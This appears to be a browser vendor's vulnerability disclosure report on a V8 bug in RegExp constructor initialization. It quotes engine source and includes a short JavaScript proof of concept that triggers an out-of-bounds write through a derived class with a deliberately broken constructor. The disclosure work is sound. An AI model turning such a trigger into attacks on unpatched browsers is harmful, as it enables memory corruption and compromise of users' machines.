Chrome V8 has multiple bugs in Genesis::InitializeGlobal.
0b5c156e751faddf1932eeb73dcaf083Chrome: V8: Bugs in Genesis::InitializeGlobal
Bug:
The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows:
// Builtin functions for RegExp.prototype.
Handle<JSFunction> regexp_fun = InstallFunction(
global, "RegExp", JS_REGEXP_TYPE,
JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize,
JSRegExp::kInObjectFieldCount, factory->the_hole_value(),
Builtins::kRegExpConstructor);
InstallWithIntrinsicDefaultProto(isolate, regexp_fun,
Context::REGEXP_FUNCTION_INDEX);
Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate);
shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub));
shared->set_instance_class_name(isolate->heap()->RegExp_string());
shared->set_internal_formal_parameter_count(2);
shared->set_length(2);
...
I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0.
There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit.
Exploit:
This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties.
Here's a snippet of the method.
(<a href="https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966</a>)
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
Handle<JSFunction> constructor,
Handle<JSReceiver> new_target) {
...
// Fast case, new.target is a subclass of constructor. The map is cacheable
// (and may already have been cached). new.target.prototype is guaranteed to
// be a JSReceiver.
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
...
// Create a new map with the size and number of in-object properties
// suggested by |function|.
// Link initial map and constructor function if the new.target is actually a
// subclass constructor.
if (IsDerivedConstructor(function->shared()->kind())) {
Handle<Object> prototype(function->instance_prototype(), isolate);
InstanceType instance_type = constructor_initial_map->instance_type();
DCHECK(CanSubclassHaveInobjectProperties(instance_type));
int embedder_fields =
JSObject::GetEmbedderFieldCount(*constructor_initial_map);
int pre_allocated = constructor_initial_map->GetInObjectProperties() -
constructor_initial_map->UnusedPropertyFields();
int instance_size;
int in_object_properties;
CalculateInstanceSizeForDerivedClass(function, instance_type,
embedder_fields, &instance_size,
&in_object_properties);
int unused_property_fields = in_object_properties - pre_allocated;
Handle<Map> map =
Map::CopyInitialMap(constructor_initial_map, instance_size,
in_object_properties, unused_property_fields);
...
return map;
}
}
"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass.
Here's CalculateInstanceSizeForDerivedClass.
void JSFunction::CalculateInstanceSizeForDerivedClass(
Handle<JSFunction> function, InstanceType instance_type,
int requested_embedder_fields, int* instance_size,
int* in_object_properties) {
Isolate* isolate = function->GetIsolate();
int expected_nof_properties = 0;
for (PrototypeIterator iter(isolate, function, kStartAtReceiver);
!iter.IsAtEnd(); iter.Advance()) {
Handle<JSReceiver> current =
PrototypeIterator::GetCurrent<JSReceiver>(iter);
if (!current->IsJSFunction()) break;
Handle<JSFunction> func(Handle<JSFunction>::cast(current));
// The super constructor should be compiled for the number of expected
// properties to be available.
Handle<SharedFunctionInfo> shared(func->shared());
if (shared->is_compiled() ||
Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) {
DCHECK(shared->is_compiled());
expected_nof_properties += shared->expected_nof_properties();
}
if (!IsDerivedConstructor(shared->kind())) {
break;
}
}
CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields,
expected_nof_properties, instance_size,
in_object_properties);
}
It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()".
If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?).
So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes.
PoC:
function gc() {
for (let i = 0; i < 20; i++)
new ArrayBuffer(0x2000000);
}
class Derived extends RegExp {
constructor(a) {
const a = 1; // syntax error, Derived->expected_nof_properties() skipped
}
}
let o = Reflect.construct(RegExp, [], Derived);
o.lastIndex = 0x1234; // OOB write
gc();
/*
int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1
constructor_initial_map->UnusedPropertyFields(); // 0
int instance_size;
int in_object_properties;
CalculateInstanceSizeForDerivedClass(function, instance_type,
embedder_fields, &instance_size,
&in_object_properties);
// in_object_properties == 0, pre_allocated == 1
int unused_property_fields = in_object_properties - pre_allocated;
*/
Another bug?
There's a comment saying "Fast case, new.target is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt